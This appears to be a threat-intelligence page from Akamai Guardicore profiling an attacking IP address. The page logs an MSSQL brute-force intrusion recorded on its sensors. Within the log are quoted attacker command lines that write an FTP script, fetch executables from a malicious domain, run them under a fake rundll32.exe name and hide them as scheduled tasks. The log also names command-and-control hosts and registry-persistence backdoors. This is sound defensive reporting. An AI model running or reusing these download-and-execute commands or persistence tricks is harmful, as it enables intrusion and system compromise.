IP Address: 61.155.58.254Previously Malicious
IP Address: 61.155.58.254Previously Malicious
This IP address attempted an attack on a machine in our threat sensors network
Role |
Attacker, Scanner |
Services Targeted |
MSSQL |
Tags |
Successful MSSQL Login Persistency - Mime Filter Create MsSql Procedure DNS Query MSSQL Execute MsSql Shell Command Download and Execute IDS - Attempted User Privilege Gain Service Configuration CMD Service Start Persistency - Image Hijack Outgoing Connection Scheduled Task Creation MSSQL Brute Force Service Creation Access Suspicious Domain File Operation By CMD |
Associated Attack Servers |
IP Address |
61.155.58.254 |
|
Domain |
- |
|
ISP |
China Telecom |
|
Country |
China |
|
WHOIS |
Created Date |
- |
Updated Date |
- |
|
Organization |
- |
First seen in Akamai Guardicore Segmentation |
2019-11-11 |
Last seen in Akamai Guardicore Segmentation |
2021-03-31 |
What is Akamai Guardicore SegmentationAkamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More
A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt) |
MSSQL Brute Force Successful MSSQL Login |
A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) |
MSSQL Brute Force Successful MSSQL Login |
MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember and sp_password |
Create MsSql Procedure |
IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change |
IDS - Attempted User Privilege Gain |
MSSQL executed 16 shell commands |
Execute MsSql Shell Command |
The command line cmd.exe /c echo 123>ftpx.txt&echo 123>>ftpx.txt&echo binary>>ftpx.txt&echo get sql.exe c:\windows\inf\rundll32.exe>>ftpx.txt&echo bye>>ftpx.txt&ftp -s:ftpx.txt tr.kuai-go.com&c:\windows\inf\rundll32.exe&del ftpx.txt was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update |
|
The command line cmd.exe /c echo 123>1.log&echo 123>>1.log&echo binary>>1.log&echo get 1.exe c:\windows\inf\1.exe>>1.log&echo bye>>1.log&ftp -s:1.log tr.kuai-go.com&c:\windows\inf\1.exe&del 1.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update1 |
|
The command line cmd.exe /c echo 123>2.log&echo 123>>2.log&echo binary>>2.log&echo get 2.exe c:\windows\inf\2.exe>>2.log&echo bye>>2.log&ftp -s:2.log tr.kuai-go.com&c:\windows\inf\2.exe&del 2.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update2 |
|
Process c:\windows\system32\cscript.exe attempted to access suspicious domains: sx.zhzy999.net |
DNS Query Access Suspicious Domain |
c:\windows\system32\services.exe installed and started c:\programdata\125046.dll as a service named dmw under service group None 2 times |
Service Start Service Creation |
A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times |
MSSQL Brute Force Successful MSSQL Login |
The file C:\Windows\SysWOW64\dmw.exe was downloaded and executed |
Download and Execute |
Process c:\windows\syswow64\dmw.exe attempted to access suspicious domains: fwq.kuai-go.com |
DNS Query Access Suspicious Domain Outgoing Connection |
Process c:\windows\system32\wscript.exe attempted to access suspicious domains: sex.zhzy999.net |
DNS Query Access Suspicious Domain |
Process c:\windows\syswow64\dmw.exe generated outgoing network traffic to: 103.122.92.215:12353 |
Outgoing Connection |
IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment |
IDS - Attempted User Privilege Gain |
IDS detected Attempted User Privilege Gain : sp_password - password change |
IDS - Attempted User Privilege Gain |
IDS detected Attempted User Privilege Gain : xp_reg* - registry access |
IDS - Attempted User Privilege Gain |
IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution |
IDS - Attempted User Privilege Gain |
c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\taskmgr.exe to run using Persistency - Image Hijack |
Persistency - Image Hijack |
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 4 times |
Persistency - Mime Filter |
c:\windows\system32\cmd.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry |
Persistency - Mime Filter |
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 3 times |
Persistency - Mime Filter |
c:\windows\system32\cmd.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry |
Persistency - Mime Filter |
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 2 times |
Persistency - Mime Filter |
c:\windows\system32\cmd.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry |
Persistency - Mime Filter |
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 4 times |
Persistency - Mime Filter |
c:\windows\system32\cmd.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 2 times |
Persistency - Mime Filter |
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 3 times |
Persistency - Mime Filter |
Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com 4 times |
DNS Query Access Suspicious Domain Outgoing Connection |
Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 103.44.251.241:21 |
Outgoing Connection |
Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 103.44.251.241:21 |
Outgoing Connection |
Process c:\windows\system32\conhost.exe generated outgoing network traffic to: 103.44.251.241:21 |
|
Process c:\windows\system32\taskkill.exe generated outgoing network traffic to: 103.44.251.241:21 |
|
Connection was closed due to user inactivity |
|